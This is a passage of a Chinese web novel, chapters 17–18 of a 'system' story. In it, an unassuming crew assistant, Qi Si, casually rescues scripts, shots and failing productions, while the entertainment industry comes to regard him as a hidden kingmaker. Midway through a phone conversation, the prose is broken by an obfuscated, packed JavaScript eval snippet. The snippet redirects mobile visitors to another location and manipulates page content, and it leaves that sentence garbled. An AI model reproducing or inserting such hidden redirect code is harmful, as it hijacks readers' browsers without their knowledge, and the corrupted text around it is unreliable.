监视器上,嘉宾们在台上做游戏,灯光打得五彩斑斓,观众席的荧光棒一片晃动,收音轨里夹杂着笑声和尖叫。 导演站在他身后,紧张地看着时间:“这期今晚就要交母带,你看看哪里能再抬一下节奏。” 齐司拖动时间轴,随手在两个镜头之间加了一个0.3秒的反应镜头,把一个嘉宾翻车的表情放大了一帧。 画面一过,笑点突然变得特别精准。 导演眼睛一亮:“就这个!你这个点太准了。” 齐司摘下一只耳机:“我改完这段就走。” “走?”导演一愣,“你去哪?” “回家。”齐司说,“下班。” 导演张了张嘴,想说“再帮我看一段”,但想到外面还有两个制片人在等着抢人,立刻怂了:“那你先走,明天……明天我给你发新项目资料,你帮我看看剧本。” 齐司没答应,只是“嗯”了一声,关掉剪辑软件,起身离开。 他走过后台长廊,灯光从头顶一盏盏掠过,墙上贴着各种节目的海报,每一张上面都写着“爆款”“破圈”“现象级”。 手机在口袋里震了一下。 系统弹出提示: 【主线任务进度:70%】 【当前世界娱乐工业对宿主的依赖度:高】 【行业共识:只要齐司参与,项目必成。】 【宿主当前身份:隐形庄家(未觉察)】 齐司一边走,一边低头看了一眼,眉头皱了皱:“什么庄家?” 系统很冷静:【你参与的项目,已在无形中左右行业趋势。】 “我就想按点下班。”齐司推开侧门,外面的夜风带着一点潮气扑过来,霓虹灯的光从远处楼顶打过来,在地上拖出一片斑驳的色块。 【你可以继续下班。】系统说,【他们会自己来找你。】 齐司把手机塞回口袋,拉上外套拉链,朝地铁站走去。 身后,综艺棚的LED大屏上,正在滚动今晚节目的预告。 “本期看点:史上最狠一句分手台词现场复刻。” 弹幕预告区里,“你就当今天没来过吧”那句台词,又一次被刷成了屏。 后台走廊的灯是冷白色,灯管一节一节往前延伸,空气里混着发热设备的塑料味和咖啡因的酸苦。 齐司刚拐进转角,就被人一把拦住。 “齐老师!” 是刚才那档情感综艺里的女嘉宾,卸了妆,眼线没擦干净,眼尾还有一点晕开的黑,抱着一叠纸质剧本,呼吸都有点乱。 “我不是老师。”齐司下意识纠正。 “您、您帮我看一眼吧。”她把剧本往前一递,纸角被她捏得起了毛边,“就是这场戏,我怎么演都不对劲,导演说我台词太假,让我自己回去琢磨……” 纸张在冷气里微微卷起,顶上的灯打下来,剧本上的字有点反光。齐司低头看了一眼,是隔壁棚正在拍的一部都市情感剧,临时借了这边的后台做妆发。 那页剧本上,女主和男主吵架,台词密密麻麻,标了好几种情绪走向,旁边还有她自己写的注释:“此处哭”“此处提高音量”。 “你就当今天没来过吧”那句被她用红笔圈了三圈,旁边写着“爆点”。 “导演说要有综艺里那种感觉。”她有点局促,“可我照着那句学,总觉得很用力。” 齐司本来打算说“你问导演”,但她眼睛里那种抓着救命稻草的劲儿,让他懒得解释。 他把那页抽出来,手指在台词上停了停:“你这场戏,前面吵得太满了,后面这句就没空间了。” “啊?” “你把前面几句删掉。”他随手在纸上划了几道,把“你到底爱不爱我”“你从来没把我放在心上”之类的台词全部划掉,只留下三句,“你今天为什么来”“你想要什么”“那你走吧”。 “你前面别哭,别吼。”齐司把纸折了一下,折痕压得很直,“就平平地问,像聊天。最后这句——” 他在空白处写了一行字:“你以后别再为我难过了。” 17. 第 17 章 女嘉宾愣住:“这句……不是原来的。” “原来的太像在表演分手。”齐司把笔递回去,“这句是你在放过他,也放过你自己。你就当是跟自己说。” 她下意识念了一遍:“你以后别再为我难过了。” 走廊尽头有工作人员推着灯架经过,轮子在地上压出“咔哒咔哒”的声响,灯架上的柔光布被空调风吹得鼓起又落下,像一块缓慢呼吸的白云。 那一瞬间,她的声音压得很低,没有刻意的颤音,尾音轻轻往下落,反而把那种彻底死心的味道带出来了。 “就这样。”齐司把那页塞回剧本,“别想太多。” “齐老师——” 她还想说什么,隔壁棚的场务已经探头出来:“小周!准备上场了,导演喊你走一条!” 她抱着剧本小跑过去,临进门前又回头冲齐司用力点了一下头。 — 隔壁棚,灯光已经调成了夜景模式,主灯压暗,只在窗边打了一条冷蓝色的轮廓光,室内用几盏小暖灯做点缀,桌上的玻璃杯反射出细碎的光点。 摄影机架在滑轨上,轨道从门口一路铺到沙发前,机位显示屏上,构图已经画好,女主进门、对峙、走近、停下,最后一个特写落在她脸上。 导演坐在监视器前,耳机压得很低,眼睛盯着画面,旁边的副导翻着分场表,场记举着场记板站在机位前:“第十五场第三条,开始!” 门被推开,女嘉宾——现在是女三号——走进来。 她没有照着原来排练的那样一进门就红着眼睛吼,而是先停了一下,视线在屋里扫过,落在男主身上,像是在确认他真的在这里。 “你今天为什么来?”她问。 语气很平,像是下班路上随口问一句“你吃了吗”。 男主愣了一下:“我……” “你想要什么?” 滑轨开始缓慢前移,画面里的她往前走了两步,窗外的冷蓝光在她肩上勾出一圈淡淡的边。 “我只是——” “那你走吧。” 她说完这句,停了两秒,眼睛微微发红,却没有一滴眼泪掉下来。 滑轨停在她的中近景,导演正要喊卡,她忽然抬眼,像是想起了什么,补了一句:“你以后别再为我难过了。” 那句台词不在本子上。 现场一瞬间安静得只剩下空调的风声。 男主对戏经验丰富,下意识顺着她的情绪接戏,喉结滚了一下,眼眶也跟着红了,嘴唇动了动,却什么都没说出来。 镜头里的她,眼睛里是彻底的平静,像是把所有的情绪都在心里翻滚完了,只剩下一句轻描淡写的告别。 “卡——” 导演的声音从耳机里炸出来,又压下去,他盯着监视器回放键,手指按住没松开。 刚才那句“你以后别再为我难过了”,像一颗钉子一样钉在画面里,前面的铺垫全都被它带出了层次。 副导凑过来:“这句台词……?” “不是原本的。”导演眼睛发亮,“但比原来的好一百倍。” 他把那一条标了个星号:“这条留剪辑,后面所有情绪都往这句靠。” — 后台走廊的另一头,齐司已经走到电梯口,按了下行键。 手机震了一下,是系统弹出的数据面板,像是后台监控: 【当前棚内:第十五场第三条完成。】 【观众测试小样(内部):该场戏情绪共鸣指数提升 287%。】 【台词“你以后别再为我难过了”——预测热搜强度:A级,传播半径:全网。】 齐司看了一眼,没兴趣,关掉屏幕。 电梯门刚打开,里面已经站了三个人,妆发、灯光、一个拎着硬盘的后期。 “哎,是齐哥。”后期小哥眼睛一亮,“正好正好,我们机房那边有点问题,您能不能帮忙看一下?就一眼!” “我不是技术。”齐司说。 “您上次随手帮我们调了一下 LUT,导演说那是他今年看过最干净的一版夜景。”灯光师在旁边补刀,“就两分钟,真的。” 电梯门缓缓关上,外面走廊的噪音被隔绝在外,轿厢里只剩下几个人的呼吸声和楼层数字跳动的“滴”声。 — 机房在负一层,走廊灯光更暗,只有机房门上方的“ON AIR”红灯亮着,门一推开,冷气和风扇的嗡鸣一股脑扑出来。 一排排工作站屏幕亮着,时间线拉得很长,画面停在一个夜景外景上——街灯偏黄,人脸发灰,画面偶尔跳一下,像是轻微的卡顿。 “就是这个。”后期小哥把鼠标点了点,“我们刚才导素材的时候,机子突然卡了一下,时间线跳帧,曝光也跟着乱了,怎么调都不顺。” 屏幕右侧是波形图和矢量示波器,曲线乱成一团,亮部已经顶到了上限,暗部又死黑。 齐司站在门口,没往里走太多,手插在外套口袋里,看了两秒。 “你这条素材的时间码断了一段。”他随口说,“把前面那三秒删掉,后面往前挪一格。” 后期小哥愣了一下:“可那三秒有个很重要的回头镜头——” “你们不会用。”齐司走过去,随手按了两下键盘,把时间线上的一个剪辑点往前挪了一格,又把 LUT 切换成了另一个预设,把曝光从 +0.7 拉回 0,再把对比度轻轻往上推了一点。 屏幕上的画面忽然稳了。 原本发灰的夜景被压出了层次,街灯不再是死黄,而是带了一点橙红,人脸上的灰气被洗掉,眼睛里有了光,背景的霓虹虚成一片柔和的散景,远处车流的灯像一串串流动的光点。 最关键的是,刚才那个轻微的跳帧不见了,镜头从推到停,一气呵成,像是原本就该是这样。 波形图上的曲线也顺了下来,亮部不过曝,暗部留了细节,肤色线稳稳地落在标准区间。 “卧槽——”后期小哥忍不住爆了句粗口,“刚才那一下你是怎么——” “你们这机子缓存没清干净。”齐司把键盘推回去,“回头重启一下。” 他转身要走,系统在他视野边缘刷出一行小字: 【镜头完成度:由 62% → 99%。】 【该镜头预测标签:#年度最美夜景镜头#、#教科书级一镜到底#。】 【相关项目整体口碑指数上调:+43%。】 机房里的人已经围在那台工作站前,反复拖动时间线看刚才那一段,从推轨到停下,演员回头的那一瞬间,街灯在他眼里打出一圈小小的光晕,像是城市夜色里唯一清醒的一点。 “这条要锁死。”后期小哥一边说一边在工程文件上打了三个感叹号,“谁都不许动。” — 从机房出来,走廊尽头的安全门半开着,外面是地下停车场,混着汽油味和潮气。 齐司掏出手机看时间,离末班地铁还有二十分钟。 刚走到坡道口,一个穿西装的男人快步迎上来,胸前挂着工作证,制片统筹,脸上带着那种常年熬夜的蜡黄。 “齐老师——” “我不是——” “您等一下,真的就一分钟。”制片人把手里的文件袋往上一举,像举着什么圣旨,“我们有个项目,可能要黄了,您能不能……挂个名?” 齐司停下脚步:“挂名?” “对,对对。”制片人眼睛发亮,“您不用干活,真的,我们团队都齐了,导演、摄影、后期都有,就是现在投资那边要撤,说我们项目没有‘安全牌’。” 他把文件袋里的资料抽出来,封面是一部网剧企划案,名字起得很俗,什么《甜宠XX》,下面一行小字:“第三轮融资未完成”。 “您看,您只要在这儿签个字——”制片人指着最后一页,“挂个‘创意顾问’或者‘联合出品人’都行,我们就能把最后一笔钱拿下来。” “我为什么要——” “我们给钱。”制片人立刻说,“挂名费您随便开。” 系统在旁边冷静地刷出一行提示:【当前项目状态:烂尾边缘。】 【完成度:27%。】 【市场预期:负增长。】 【如宿主参与——】 齐司把手机塞回口袋:“我不参与项目。” “您不需要参与。”制片人急了,“您就……路过一下。” 他话音刚落,齐司的手机震了一下,一条消息弹出来,是刚才那档综艺的执行发来的:“齐哥,刚刚那句‘你以后别再为我难过了’,导演说要给你署个‘台词润色’。” 制片人眼睛一亮:“您看,您已经参与了。” 系统:【逻辑成立。】 【宿主与该制片人项目产生“路过参与”关联。】 【项目状态刷新中——】 停车场上方的灯一盏一盏亮着,冷白色的光打在那叠企划案上,纸张的纹理清晰可见。 【新预测:项目完成度将自动提升至 100%。】 【市场预期:从负增长 → S 级爆款。】 【标签:#小成本逆袭#、#年度黑马网剧#。】 齐司没再看那份企划,只是随手在最后一页签了个名字:“那我可以走了吧。” “可以可以!”制片人像捧着金条一样把文件收好,“我们会按时打钱的!” — 两周后,某视频平台的内容会议室里,长桌一侧坐满了内容运营、数据分析、宣发负责人,另一侧是平台高层。 投影幕布上,数据曲线像心电图一样起伏,一条线忽然在某个节点之后猛地往上冲,几乎贴着顶端走。 “这条就是那部《甜宠XX》。”数据分析师指着那条线,“原本我们预估它的完播率在 30% 左右,现在首更三集,完播率 78%,追更率 92%,弹幕互动是同档期平均的 4.3 倍。” 屏幕切到热搜页面,话题栏里挂着: #小成本甜宠剧封神# #谁在给这部剧写台词# #你以后别再为我难过了# 下面是剪辑号做的二创视频,女三号那句“你以后别再为我难过了”被无数次剪进各种分手场景、MV、情感短片里,BGM 换了无数种,评论区全是“这句比‘你就当今天没来过吧’还狠”。 “更离谱的是——”运营负责人点开后台,“这部剧的主投方原本准备撤资,最后一刻又把钱打回来了,还追加了宣发预算。” 平台高层敲了敲桌子:“谁牵头的?” “是外面那家小公司。”运营翻资料,“他们这次拉了一个‘创意顾问’挂名,叫……齐司。” 会议室里安静了一秒。 “又是他?”有人低声说。 “之前那档情感综艺,他是编务。”另一个人接话,“结果那句‘你就当今天没来过吧’火了,现在又是这句‘你以后别再为我难过了’。” “还有上个月那部夜景文艺片。”数据分析师翻出另一份报告,“据说是他在机房按了两下,那个一镜到底的夜景镜头现在被各大电影学院拿去当教学案例。” 投影幕布上切出那条镜头的截图,城市夜景、推轨、回头,一切都刚刚好。 “所以现在业内都在说——”运营负责人笑了一下,“只要有他在,项目就不会死。” — 同一时间,某资本方的董事会议室。 长桌上摆着几份项目清单,后面都用红笔圈了一个名字:“齐司”。 “我们最近投的几个项目里,只要有他名字的,全线逆袭。”投资总监翻着报告,“没有他的,按原本预期走,甚至有的还不达标。” “他是什么背景?”董事长问。 “查过了。”风控负责人打开一页简历,“普通一本院校,影视编导专业,毕业后进了几家小公司做编务、助理,没拿过什么奖,也没什么公开履历。” “那为什么——” “可能是……风口体质?”有人半开玩笑。 会议室里没人笑。 “现在外面已经有传言,说他是‘隐形庄家’。”投资总监把手机推到桌子中间,屏幕上是一个业内小群的聊天截图: 【A:听说了吗,最近那几个爆款背后都有一个人——】 【B:齐司?】 【C:对,风口捕捉体质,资本新宠。】 【D:你们谁能把他约出来吃个饭?我们这边有几个项目想让他看看。】 董事长敲了敲桌面:“不管他是什么体质,先把人拉到我们这边来。” “已经在排队了。”投资总监苦笑,“我们不是第一家。” — 而此刻,当事人正坐在公司茶水间的角落,手里捧着纸杯咖啡,盯着墙上的下班时间表。 墙上贴着一张 A4 纸,打印着“本周加班统计”,他名字后面一串红色的“√”。 “齐哥——” 茶水间的门被推开,一个妆发师探头进来,后面还跟着两个艺人和一个导演。 “我们刚开完会,听说你在这儿。”导演把帽子往上一推,眼睛里带着兴奋,“有个剧本想让你帮忙看一眼。” “我不是编剧。”齐司说。 “你不是,你是……风向标。”其中一个艺人笑着接话,脸上妆还没卸干净,眼角的高光在茶水间昏黄的灯下闪了一下,“我们这边有个新剧,平台那边说,只要你挂个‘创意统筹’,他们就给 S 级资源。” 另一个艺人也凑过来:“我这边有个电影,导演说你随便提两句意见就行,票房就有保障。” 妆发师在旁边补刀:“还有我们组的新综艺,制片人说,如果能把你拉进来做个‘节目顾问’,招商那边立刻翻倍。” 茶水间本来只有一盏老旧的日光灯,现在被他们一围,空气都热了两度。 齐司看着他们,感觉自己像是被几盏追光灯照着,连逃都没地方逃。 系统在旁边冷静地刷出一行: 【当前宿主被动绑定项目数:7。】 【行业内部共识形成度:83%。】 【关键词:隐形庄家、风口捕捉体质、安全牌。】 “我只想下班。”齐司说。 “我们也是。”导演苦笑,“但现在甲方说了,只要你在,我们就都能下班。” — 外网。 某营销号发了一条长微博,配图是几张项目海报的拼图,底下用红线把一个名字圈了出来: 【你以为是运气?其实是庄家。】 【盘点最近一年所有逆袭项目背后那个神秘的“齐”姓男人。】 评论区一片“谁啊?”“求科普”“原来他才是幕后大佬”。 热搜右侧,相关话题开始自动发酵: #齐司是谁# #娱乐圈隐形庄家# #只要他参与项目就一定成# 系统:【舆论自动向宿主聚拢中。】 【宿主未主动发声,未主动营销。】 【热度来源:项目成功自然外溢。】 齐司刷到这条热搜的时候,正站在地铁站台上,头顶的灯光有点刺眼,列车进站的风卷着一股铁锈味。 他看着那几个话题,眉头皱了一下,把手机锁屏,塞回口袋。 列车门打开,人群往里涌,他被推着往前走。 系统在他耳边平静地提示: 【当前身份:隐形庄家(宿主仍未觉察)。】 【行业趋势:已开始围绕宿主参与项目进行调整。】 【你可以继续下班。】 地铁门关上,车厢里的灯一格一格亮起,窗外的隧道墙壁飞快后退,广告灯箱上一闪而过的是某平台的宣传海报—— “本季爆款:《甜宠XX》。” 角落里,小字署名:“创意顾问:齐司。” 地铁晃了一下,荧白的灯管在车顶嗡嗡作响。 齐司盯着那行“小字署名”看了两秒,确认自己没眼花——那确实是他前几天被拉去开会时,顺手在方案底部签的名字。 他叹了口气,扶了扶背包带,决定当作没看见。 系统安静了一会儿,又机械地补了一句: 【宿主目前行为:继续下班。】 【行业行为:继续围绕宿主。】 地铁到站,他跟着人流出站,手机震动了一路。 刚出闸机,屏幕上跳出十几个未接来电,制片、执行、场记、甚至还有一个备注“新加的谁来着”的号码。 他本能地想关机,刚点到关机键,那个“新加的谁来着”又打进来。 “喂?”他接起,语气很平。 “齐老师!你终于接了!”对面是个年轻男声,背景里一片“咔哒咔哒”的键盘声和打印机吐纸声,“我是《甜宠XX》这边的执行编剧小周,您今晚有空吗?我们有一场戏总是演不顺,导演说,您要是能看一眼就好了……” 齐司停在地铁口的风幕机下,暖风呼呼吹着,他抬手挡了挡风:“我只是挂名顾问。” “您随便看一眼就行!”小周急得声音都抬高了,“就一页纸,真的,就一页!我现在发您微信?” 不等他拒绝,微信文件“叮”地一声弹出来——《第18场·雨夜告白》。 他本来想说“明天再说”,结果对面已经开始描述问题:“我们这场戏拍了三天,男女主怎么演都假,台词一说出口就尬,导演都快崩溃了,平台那边又催进度……” 齐司站在风幕机下,风吹得他眼睛有点干。他想了想,还是点开了那一页剧本。 雨夜、走廊、告白、摔伞、强吻。 他看了十几秒,眉心微微一蹙。 “你们这场戏,台词太满了。”他随口说,“两个人都在说大道理,谁会在雨里讲这么多话。” 小周那边立刻“唰唰唰”翻纸:“那……那怎么办?” “把台词砍掉三分之二。”齐司靠在墙上,目光扫过那几行对白,“女主那句‘我不是你可以随便安排的人’,改成‘你别这样’就够了。男主那句‘我只是想给你一个更好的未来’,改成‘我以为你会开心’。” 他顿了顿,又补了一句:“雨声大一点,别让他们说太清楚。多给特写,嘴唇抖一下,比讲十句有用。” 那头安静了两秒,仿佛所有人都在屏住呼吸听。 “还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939318|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”齐司看着最后一行,“你们这场戏不需要强吻。让男主伸手去拉她,停在半空,没碰到。女主自己往前走一步,擦着他的手过去。” “为、为什么?”小周下意识问。 “因为这样观众会觉得,是她选择了离开,不是被他推走。”齐司说,“你们这剧的受众不吃强取豪夺那一套。” 风幕机的暖风从他发梢吹过,地铁口外的霓虹灯在玻璃门上晕成一片。 “就这些?”小周声音都有点发颤。 “就这些。”齐司关掉文件,“我回家了。” “齐老师!您、您要不要来现场——” 通话被他干脆地挂断。 系统淡淡地响起提示音: 【已完成:随手调整一页剧本。】 【预计效果:演员表演自然度+300%,台词传播度+500%。】 【预计衍生结果:#你别这样#、#我以为你会开心#将成为本季度情侣间高频引用语。】 齐司把手机调成静音,往小区方向走去。 …… 第二天一早,《甜宠XX》剧组。 摄影棚里,冷白的顶灯被一盏盏关掉,只留下走廊尽头一排昏黄的钨丝灯,光线被美术组用黑布和遮光板切得很狠,只在地面和墙角留出一条窄窄的亮带。 雨机在棚外“哗啦啦”地洒水,水流顺着假楼道的玻璃窗滑下,打出一片模糊的光斑。 “来,18场,准备——”副导演举着场记板,声音压得很低,“安静,安静!收音!” 女主站在走廊中段,头发被喷湿,眼线微微晕开,妆发特意留了几根碎发贴在脸侧,看起来有点狼狈。男主在走廊尽头,手里握着伞,指节绷得发白。 “Action!” “你别这样。”女主抬眼,声音被雨声压掉一半,只露出一个气息不稳的尾音,眼睛却亮得吓人。 摄影机从她肩后绕过去,Steadicam的稳定器随着摄影师的步伐轻轻起伏,镜头从中景慢慢推近到特写,雨声在收音师的指尖下被调得更大,盖住了大部分呼吸声。 男主喉结滚了一下:“我以为你会开心。” 这句台词一出口,现场监视器前的导演猛地坐直了。 他盯着屏幕上那张脸——眼神里那种“以为自己做对了事,却被现实打脸”的茫然和委屈,竟然第一次显得不油腻。 “停!”导演忍不住喊,“好!就这样!再来一条,情绪再收一点!” 演员对视一眼,眼里都是“终于找到感觉了”的轻松。 场记板一合,副导演小声嘀咕:“就改了两句台词,怎么感觉整场戏都顺了?” 监视器旁,执行编剧小周死死抱着那一页被他涂得乱七八糟的剧本,心里只有一个名字——齐司。 …… 同一时间,城北另一个摄影棚。 一台主摄影机黑屏,监视器上画面一顿一顿地跳,像老旧DVD卡碟。 “怎么又跳帧?!”摄影指导的声音透着压抑的暴躁,“昨天刚检修过,今天又出问题?!” 灯光师站在一堆C-stand和旗板后面,抬头看着天花板上那一排排LED板,色温从5600K缓慢拉到4800K,监视器上肤色一会儿偏青一会儿偏黄。 “曝光也不对啊。”导演盯着波形图,额角青筋微跳,“刚才那条脸都糊成一片了。” 制片人站在一旁,脸色比波形图还难看:“这场戏再拖,后面棚期全要重排。” “要不……先拍别的?”场记试探。 “别的也要用这机位!”摄影指导烦躁地甩下耳机,“我怀疑是机身内部缓存有问题,得送回厂检修。” “送回厂?那我们今天全停?”制片人声音都变了调。 现场一片低压。 这时,门口传来一阵脚步声。 “齐司!你来了?”副导演眼睛一亮,像抓住救命稻草一样冲过去,“快快快,帮我们看一下设备,是不是哪里设置不对?” 齐司刚被拉进棚,背包还没放下,就被一群人围到监视器前。 “我不是机修。”他皱眉,“我只是来送合同的。” “你随便按两下就行!”制片人亲自把他往机位那边推,“你不是之前帮我们调过一次监视器色彩吗?那次之后画面就特别好看,这次肯定也行!” 系统在他耳边冷静地报数: 【当前状态:被动参与。】 【设备状态:轻微缓存异常,非致命。】 【宿主干预后预计结果:镜头封神。】 齐司被推到摄影机后,黑色机身在棚灯下泛着冷光,机背的小屏幕上,波形图像心电图一样乱跳。 他低头看了一眼菜单栏,随手按了两下。 “你们这个缓存预录开太长了。”他顺手关掉一个选项,又把快门角度从172.8调回180,“还有,别用自动曝光,锁死。” 摄影指导愣了一下:“我们一直这么拍的啊。” “你们演员动作太快,自动曝光反应不过来。”齐司抬眼,“锁死,留点暗部,后期拉。” 他说着,又看了眼棚顶那一排灯:“色温统一到5200,别来回晃。” 灯光师立刻照做,调光台上的推子一排排推上去,棚里光线从杂乱的冷暖交错,慢慢收拢成一片干净的冷白。 “再来一条。”齐司退开一步,“我走了。” “别别别,你先看一条!”导演几乎是喊出来的。 场记板一拍。 演员从门外冲进来,镜头跟着他一脚踢开门,Steadicam从门框外一气呵成地推进室内,光线在他脸上划出一条利落的明暗分界。 监视器上,画面流畅得像被打了蜡,每一帧都稳得像定格,波形图的线条乖乖地在中间那一块区域起伏,肤色刚好落在合适的区间。 导演盯着屏幕,整个人都安静了。 那一脚踢门的瞬间,门板上的反光刚好打在演员眼睛里,瞳孔里那点光被捕捉得极清楚,像一颗小小的火星。 “操……”摄影指导忍不住爆了句粗,“这画面……怎么突然这么干净?” “刚才那两下,你到底按了什么?”制片人一把抓住齐司的胳膊。 “没按什么。”齐司把胳膊抽回来,“你们自己记一下就行。” 系统提示: 【已完成:按两下设备。】 【结果:卡机、跳帧、曝光异常全部消失。】 【衍生效果:本场戏将被剪进预告片,成为全网讨论的“封神镜头”。】 【宿主仍可继续尝试下班。】 齐司看了眼时间,背起包:“我真的要走了。” “等一下!”制片人突然想起什么,“你这次来,是不是那个投资合同?你签了吗?” “还没。”齐司说,“我只是拿来给你们签的。” “那你顺便签个参与顾问?”制片人眼睛一亮,立刻从桌上抽出一份文件,“不占你时间,就挂个名,象征性给你一点分成。” “一点分成”在合同里被写成了“净利润的5%”。 齐司扫了一眼,眉头微蹙:“我不——” “就当是感谢你帮我们救机位!”制片人直接把笔塞到他手里,“你不签,我们心里过不去。” 系统默默弹出一行字: 【提示:该项目目前为烂尾边缘,平台准备减配投放。】 【宿主参与后,预计:口碑逆袭→长尾爆款→平台年度案例。】 齐司懒得再争,随手在“顾问”一栏签了个名字。 …… 两个月后。 某视频平台后台数据监控室,几十块大屏幕铺满整面墙,实时播放着各个项目的播放曲线、完播率、弹幕密度、转化率。 “怎么回事?《逆风少年》这条曲线怎么突然抬头了?”运营总监皱着眉,指着一条原本平平无奇、最近一周却突然陡然上扬的蓝线。 数据分析师飞快敲键盘,调出详细报表:“从第13集开始,完播率从62%涨到83%,第15集达到了88%。弹幕关键词集中在‘踢门那场戏’、‘雨夜走廊’、‘你别这样’、‘我以为你会开心’。” “这不是两个项目的元素吗?”另一个运营皱眉,“《逆风少年》有踢门,《甜宠XX》有雨夜告白,怎么会被一起提?” “因为被剪成了一个混剪。”数据分析师点开一个链接,屏幕上跳出一个粉丝剪辑的视频—— 开头是《逆风少年》里那一脚踢门,门板反光打在男主眼里,紧接着切到《甜宠XX》雨夜走廊,女主抬眼说“你别这样”,雨声压得台词模糊,男主那句“我以为你会开心”接在后面,BGM一响,弹幕瞬间爆炸。 “这俩项目之前都不温不火,怎么突然就……”运营总监盯着数据,“是谁在后面推?” 数据分析师翻了翻项目资料,突然停住:“这两个项目,有一个共同点。” “什么?” “顾问一栏。”数据分析师把两个项目的资料并排放大,屏幕上清清楚楚地写着同一个名字—— “齐司。” 会议室里安静了两秒。 18. 第 18 章 运营总监回想起最近一个月,平台内部流传的那些八卦——某个“不露脸的顾问”随手改了几句台词,结果台词被全网情侣当成暗号;某个“路过的助理”按了两下设备,拍出一个封神镜头。 “把所有有他名字的项目拉出来。”运营总监沉声说,“做一份对比分析。” …… 同一栋楼的另一层,投资部会议室。 投影幕布上,一张张项目表格被翻过去,红绿箭头此起彼伏。 “这几个原本被我们内部评为‘高风险’的项目,最近三个月全部逆袭。”投资总监用激光笔点着屏幕,“《甜宠XX》从B级升到S-级,《逆风少年》从C级升到A级,《都市边角料》从边缘项目变成了口碑黑马。” “共同点?”董事问。 投资总监点开一页汇总表,红色字体一行行跳出来—— 【共同顾问:齐司】 【共同特征:宿主参与时间点均为项目困境期】 【参与形式:随手改剧本/临时设备调整/挂名顾问】 “我们是不是……”董事犹豫了一下,“应该多给他一点项目?” “已经在排队了。”投资总监苦笑,“现在圈里都在说,他是‘风口捕捉体质’。” …… 与此同时,某咖啡馆二楼。 落地窗外是车流和霓虹,室内灯光压得很低,桌上的小台灯打在咖啡杯上,琥珀色的反光晃动。 齐司坐在角落,面前摊着一本分场剧本,旁边放着一杯已经凉了的美式。 对面坐着的是一位刚刚拿了奖的青年导演,头发乱糟糟的,黑眼圈很重,手边的iPad上是一个还没成形的分镜表。 “我知道你忙。”青年导演声音有点哑,“但你随便帮我看一眼就行,我这个新项目,平台那边一直不太看好,说题材冷门、节奏慢。” “我只是来拿回我的工资卡。”齐司提醒,“上次你借去付场地费。” “工资卡等会儿还你。”青年导演立刻把分场表推过去,“你就看个大概,随便提两句意见。” 系统在耳边冷静播报: 【当前状态:被动参与。】 【项目状态:投资方准备收缩预算,预期为烂尾项目。】 【宿主参与后预计结果:全线逆袭,成为爆款。】 齐司翻了两页,发现这是个讲小城市剧团的现实题材,节奏确实慢,台词也有点散。 “你这戏,前两集太闷了。”他合上本子,“观众撑不到第三集。” 青年导演苦笑:“我知道,可是我不想乱加狗血。” “不是加狗血。”齐司想了想,“你把第三集那个‘剧团被拆’的桥段提前到第一集结尾。让观众一上来就知道,这帮人马上要没地方排练了。” 青年导演愣住:“那我后面怎么办?” “后面慢慢讲他们怎么撑。”齐司说,“你现在的问题是,观众不知道他们在撑什么。” 他抬手在分场表上随手画了两条线,把几个场次顺序调了调,又在旁边写了几个字:“剪辑点提前”“留一秒空镜”“用环境声压对白”。 “就这样?”青年导演瞪大眼睛。 “就这样。”齐司把工资卡拿回来,站起身,“我下班了。” 青年导演追上来:“那顾问费——” “不用。”齐司头也不回。 系统淡定地响起: 【已完成:路过参与烂尾投资项目。】 【结果:结构节奏被重新梳理,情绪起伏更明显。】 【预计:上线后口碑发酵,长尾播放,成为年度现实题材爆款。】 …… 三周后。 微博热搜榜。 #你别这样# 排名第3。 #我以为你会开心# 排名第5。 #小城市剧团有多难# 排名第7。 #逆风少年踢门名场面# 排名第9。 四个话题下面,几乎都有人在评论区提到同一个名字—— 【听说这几个戏背后都有一个神秘顾问,叫齐司?】 【业内朋友说,他就是隐形庄家。】 【资本都在排队求他点头。】 【他本人好像只是个小助理?】 舆论自动往一个方向拧,所有关于他的评价都出奇一致——专业、低调、不炒作、不露脸。 【宿主未主动发声。】 【宿主未主动营销。】 【热度来源:项目成功自然外溢。】 系统一条条刷在他眼前。 齐司坐在出租屋的书桌前,台灯光打在键盘上,屏幕上是一个新项目的粗剪版,时间轴上密密麻麻的剪辑点。 他本来只是来帮同事看一眼粗剪,顺便找几个穿帮点,结果导演听说他在,就把整部片子甩给他:“你随便提提意见。” 他看了十分钟,顺手把两个镜头的位置换了一下,又把一个多余的空镜删掉。 剪辑软件的波形图在屏幕下方起伏,画面节奏突然顺畅起来,原本拖沓的情绪一下子被收紧。 系统提示: 【已完成:临时剪辑。】 【结果:关键情绪段落节奏优化,镜头封神概率+400%。】 【行业共识进度:73%。】 【当前业内评价:只要齐司参与,项目就一定成。】 …… 某大型影视公司高层会议室。 长桌一端,几位董事坐在一起,桌上摊着一叠叠项目表和艺人名单。 “简单说一下。”总经理翻开一份报告,“我们最近半年所有ROI超过预期的项目,有一个共同点——” 投影幕布上跳出一行大字: 【齐司:参与项目ROI平均提升300%。】 “他现在是什么身份?”董事问。 “名义上是编务、现场助理、偶尔挂名顾问。”总经理说,“但实际上,所有项目的关键节点——剧本调整、现场机位、剪辑节奏、营销节点——只要他碰一下,数据就会往上跳。” “资本那边怎么说?” “已经有三家基金主动找上门,表示愿意跟投所有有他名字的项目。”总经理翻到下一页,“他们的原话是——‘我们不看剧本,只看有没有齐司’。” 会议室里安静了几秒。 “那我们……”董事缓缓开口,“是不是应该给他一个更高的职位?” “我们试过。”总经理苦笑,“给他发了三次晋升通知,他都没点开。” “那加钱?” “加了,他以为是绩效。” 会议室里一阵低笑。 “那就这样。”董事敲了敲桌子,“以后公司所有重点项目,先问一句——‘能不能把齐司拉进来’。拉不进来的,降一级评估。” …… 与此同时,某综艺录制后台走廊。 灯光打得很亮,天花板上的灯带一排排延伸到尽头,地面是刚擦过的黑色地胶,反光里能看到人影晃动。 明星们在各自休息室门口来回走动,妆发师推着化妆车穿梭,助理抱着衣服和文件夹,场务拖着电缆从人缝里挤过去。 齐司靠在一面墙上,手里拿着一杯纸质咖啡,眼神有点空。 